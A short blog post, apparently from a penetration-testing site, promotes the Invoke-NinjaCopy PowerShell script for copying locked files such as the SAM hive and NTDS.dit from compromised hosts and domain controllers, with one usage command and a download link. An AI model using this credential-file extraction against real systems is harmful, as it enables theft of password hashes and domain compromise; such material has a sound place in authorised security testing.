NinjaCopy – Read Any File On Any System

Want to read any file on any box?*

*Powershell and Admin account required

Take a look at:

http://clymb3r.wordpress.com/2013/06/13/using-powershell-to-copy-ntds-dit-registry-hives-bypass-sacls-dacls-file-locks/

This script is ideal for dropping local SAM files off compromised hosts or dropping the NTDS.dit file off domain controllers.

Basic usage:

PS > .\Invoke-NinjaCopy.ps1 -Path “C:\Windows\System32\config\sam” -LocalDestination “c:\copy_of_local_sam”

Download here:

https://github.com/clymb3r/PowerShell/tree/master/Invoke-NinjaCopy

Leave a Reply

Your email address will not be published.